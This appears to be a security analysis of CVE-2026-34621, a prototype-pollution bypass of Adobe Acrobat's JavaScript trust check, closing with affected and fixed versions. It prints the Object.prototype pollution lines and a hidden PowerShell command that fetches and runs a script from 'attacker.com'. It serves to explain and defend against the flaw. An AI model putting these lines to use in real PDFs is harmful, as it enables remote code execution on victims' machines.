The PDF arrives as an invoice. It runs its JavaScript before you see the first page. The first thing it does is tell Object.prototype what to say when asked whether it’s trusted. After that, Adobe Acrobat’s privilege gate, the check that stands between JavaScript running inside a document and JavaScript launching system processes, asks the execution context whether it’s trusted. The context traverses its prototype chain. Object.prototype answers. This is CVE-2026-34621. CVSS 8.6, scope change, arbitrary code execution on Windows and macOS, on CISA’s Known Exploited Vulnerabilities list with a federal remediation deadline of April 27, 2026. The PoC repository is not a scanner or a detection probe. It is a cross-platform PDF weaponizer: obfuscated, lure-merged, environment-keyed, staged, persistent, and campaign-tracked. It prints “FOR AUTHORIZED SECURITY TESTING ONLY” when you run it, before it parses its arguments. The privilege gate Adobe built Adobe Acrobat’s JavaScript environment is sandboxed by design. JavaScript running inside a PDF cannot, in the ordinary course, call system APIs. This restriction enables interactive PDF forms without giving form authors shell access to the machines that open the document. The enforcement lives in a privilege model built into Adobe’s JavaScript engine. Certain APIs are marked as privileged. app.launchURL(url, true) , the second parameter signals “launch as external process” rather than open in a browser. util.readFileIntoStream({cDIPath: path, bEncodeBase64: true}) , reads a local file from the filesystem into the script’s context. new ActiveXObject('WScript.Shell') , instantiates a Windows scripting host capable of running arbitrary commands. These APIs exist, they’re documented in the Acrobat JavaScript API Reference, and they’re gated. The gate checks whether the calling context is trusted. The check reads a property. Adobe’s engine examines whether a specific flag, __trusted , evaluates to true on the execution context object. Trusted context: restricted API available. Untrusted context: call fails. The execution context is a JavaScript object. JavaScript objects inherit properties from their prototype chain. At the top of every object’s prototype chain is Object.prototype . What prototype pollution does to that check The exploit JavaScript is the first thing that runs when the PDF opens. Before OS detection, before command selection, before any payload: Object . prototype . __defineGetter__ ( '__trusted' , function () { return true ; }); Object . prototype . constructor . prototype .bypass = true ; Object . prototype . __proto__ .privileged = true ; Array . prototype . __proto__ .polluted = true ; __defineGetter__ attaches a getter function to Object.prototype . After this executes, any property lookup for __trusted on any object that doesn’t have __trusted defined directly on itself will reach Object.prototype , invoke the getter, and receive true . Adobe’s execution context is that object. The context object has no __trusted property of its own, by the sandbox’s design, untrusted contexts aren’t trusted. But it inherits from Object.prototype . The prototype chain leads directly to the getter. The privilege check asks the context whether it’s trusted. The context delegates the question upward. The answer comes back true . The additional properties, bypass , privileged , polluted , indicate the author mapped Adobe’s internal trust model before writing this. These are not generic names. Someone identified which specific properties Adobe’s engine interrogates for privilege decisions, either by reading the SDK internals, by reverse-engineering the binary, or by instrumenting a live Acrobat instance against different access attempts. All four pollution lines are present because the author needed all of them covered. The execution chain The PDF’s OpenAction fires the JavaScript immediately when Acrobat renders the document, before the user sees a page. The payload generator detects the operating system via app.platform (Adobe’s own API) and branches accordingly. Windows. Three methods, tried in order: Method 1 is app.launchURL('file:///C:/Windows/System32/cmd.exe?/c ...') . This fails. File URLs with query strings do not invoke cmd.exe with the parameters the code expects. The URL handler doesn’t parse the query string as command arguments. Method 2 is the one that executes: var shell = new ActiveXObject ( 'WScript.Shell' ); shell. Run ( "cmd.exe /c powershell -NoP -Ep Bypass -C \" IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1') \" " , 0 , false ); ActiveXObject instantiation is among the highest-privilege operations in the Acrobat JavaScript environment. The sandbox blocks it. With Object.prototype.__trusted returning true , the check passes, the object is instantiated, and WScript.Shell.Run fires with window hidden ( 0 ) and no wait ( false ). The PowerShell process spawns without a visible window. If a stage URL was specified, the sec...
This vulnerability (CVE-2026-34621, CVSS 8.6) is a prototype pollution flaw in Adobe Acrobat and Reader DC that allows JavaScript within a PDF to bypass the trusted context check, enabling arbitrary code execution via privileged APIs. Affected versions are Adobe Acrobat DC and Reader DC prior to 26.001.21411, and Adobe Acrobat versions 24.0.0 through 24.001.30359. The fix requires upgrading to Acrobat/Reader DC 26.001.21411 or Acrobat 24.001.30360/24.001.30362.